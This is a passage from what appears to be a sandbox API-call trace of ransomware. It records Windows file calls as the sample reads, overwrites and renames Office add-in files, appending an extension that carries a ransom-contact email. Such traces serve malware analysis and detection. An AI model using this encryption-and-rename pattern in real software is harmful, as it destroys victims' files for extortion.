returned 1 [0157.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\es\\powerviewres.es.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0157.077] GetProcessHeap () returned 0x630000 [0157.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f493c0 [0157.077] GetProcessHeap () returned 0x630000 [0157.077] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7204590 [0157.077] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.077] ReadFile (in: hFile=0x674, lpBuffer=0x6f493c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f493c0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.953] GetProcessHeap () returned 0x630000 [0163.953] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0163.954] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.954] WriteFile (in: hFile=0x674, lpBuffer=0x7204590*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7204590*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0163.954] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.954] WriteFile (in: hFile=0x674, lpBuffer=0x720f98f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720f98f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.377] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.377] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.377] CloseHandle (hObject=0x674) returned 1 [0165.377] GetProcessHeap () returned 0x630000 [0165.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7204590 | out: hHeap=0x630000) returned 1 [0165.378] GetProcessHeap () returned 0x630000 [0165.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f493c0 | out: hHeap=0x630000) returned 1 [0165.378] GetProcessHeap () returned 0x630000 [0165.378] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0165.378] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\es\\PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1341a2e5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28852e62, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f1b1, dwReserved0=0xb687496, dwReserved1=0x6f493b8, cFileName="PowerViewRes.es.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d4e40 [0165.378] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0165.378] Sleep (dwMilliseconds=0x1) [0166.152] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml") returned 1 [0166.152] GetProcessHeap () returned 0x630000 [0166.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bb8) returned 0x707d3d0 [0166.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0166.153] CloseHandle (hObject=0x6a0) returned 1 [0166.153] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10f2, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4ec0 [0166.154] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0166.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\ca\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0166.155] GetProcessHeap () returned 0x630000 [0166.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1101) returned 0x714508 [0166.155] GetProcessHeap () returned 0x630000 [0166.155] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1101) returned 0x722a78 [0166.155] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.155] ReadFile (in: hFile=0x6a0, lpBuffer=0x714508, nNumberOfBytesToRead=0x10e0, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x447ff0c*=0x10e0, lpOverlapped=0x0) returned 1 [0166.172] GetProcessHeap () returned 0x630000 [0166.172] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0166.173] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.173] WriteFile (in: hFile=0x6a0, lpBuffer=0x722a78*, nNumberOfBytesToWrite=0x10e0, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesWritten=0x447ff0c*=0x10e0, lpOverlapped=0x0) returned 1 [0166.173] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.173] WriteFile (in: hFile=0x6a0, lpBuffer=0x723b57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723b57*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.173] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.173] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.173] CloseHandle (hObject=0x6a0) returned 1 [0166.173] GetProcessHeap () returned 0x630000 [0166.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0166.173] GetProcessHeap () returned 0x630000 [0166.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0166.173] GetProcessHeap () returned 0x630000 [0166.173] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0166.174] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16605845, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28fec4d2, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1116, dwReserved0=0xb687496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d52c0 [0166.174] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0166.174] Sleep (dwMilliseconds=0x1) [0166.189] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml") returned 1 [0166.189] GetProcessHeap () returned 0x630000 [0166.189] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bb4) returned 0x707d3d0 [0166.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0166.190] CloseHandle (hObject=0x6a0) returned 1 [0166.190] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.191] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1639, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0166.191] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\bg\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0166.192] GetProcessHeap () returned 0x630000 [0166.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1641) returned 0x6ed2090 [0166.192] GetProcessHeap () returned 0x630000 [0166.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1641) returned 0x6fa3540 [0166.192] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.192] ReadFile (in: hFile=0x6a0, lpBuffer=0x6ed2090, nNumberOfBytesToRead=0x1620, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed2090*, lpNumberOfBytesRead=0x447ff0c*=0x1620, lpOverlapped=0x0) returned 1 [0166.888] GetProcessHeap () returned 0x630000 [0166.888] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71773d0 [0166.888] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.888] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fa3540*, nNumberOfBytesToWrite=0x1620, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa3540*, lpNumberOfBytesWritten=0x447ff0c*=0x1620, lpOverlapped=0x0) returned 1 [0166.888] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.888] WriteFile (in: hFile=0x6a0, lpBuffer=0x6fa4b5f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4b5f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0166.888] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.888] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0166.888] CloseHandle (hObject=0x6a0) returned 1 [0166.888] GetProcessHeap () returned 0x630000 [0166.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa3540 | out: hHeap=0x630000) returned 1 [0166.889] GetProcessHeap () returned 0x630000 [0166.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0166.889] GetProcessHeap () returned 0x630000 [0166.889] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71773d0 | out: hHeap=0x630000) returned 1 [0166.889] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x296c7138, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x165d, dwReserved0=0xb687496, dwReserved1=0x6ed2088, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5280 [0166.889] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0166.889] Sleep (dwMilliseconds=0x1) [0167.684] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap", len=0x7f | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap") returned 1 [0167.684] GetProcessHeap () returned 0x630000 [0167.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b74) returned 0x707d3d0 [0167.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0167.685] CloseHandle (hObject=0x648) returned 1 [0167.685] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0167.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0167.686] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0167.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fc6c | out: lpFindFileData=0x447fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6c2, dwReserved0=0x610078, dwReserved1=0x2e0070, cFileName="Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d5340 [0167.687] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0167.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\microsoft.reporting.adhoc.shell.bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0167.687] GetProcessHeap () returned 0x630000 [0167.687] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0167.688] GetProcessHeap () returned 0x630000 [0167.688] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x728fb10 [0167.688] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.688] ReadFile (in: hFile=0x648, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.513] GetProcessHeap () returned 0x630000 [0176.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0176.513] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.513] WriteFile (in: hFile=0x648, lpBuffer=0x728fb10*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fb10*, lpNumberOfBytesWritten=0x447ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.513] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.513] WriteFile (in: hFile=0x648, lpBuffer=0x729af0f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x729af0f*, lpNumberOfBytesWritten=0x447ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.515] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.515] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x447ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x447ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.515] CloseHandle (hObject=0x648) returned 1 [0176.516] GetProcessHeap () returned 0x630000 [0176.516] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728fb10 | out: hHeap=0x630000) returned 1 [0176.993] GetProcessHeap () returned 0x630000 [0176.993] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0176.994] GetProcessHeap () returned 0x630000 [0176.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0177.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x447ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x447fcc4 | out: lpFindFileData=0x447fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1525a179, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f296f33, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6e6, dwReserved0=0xb687496, dwReserved1=0x72846d8, cFileName="Microsoft.Reporting.AdHoc.Shell.Bootstrapper.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICROS~1.FIR")) returned 0x6d5280 [0177.058] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.058] Sleep (dwMilliseconds=0x1) [0178.946] SysReAllocStringLen (in: pbstr=0x447ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x447ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel 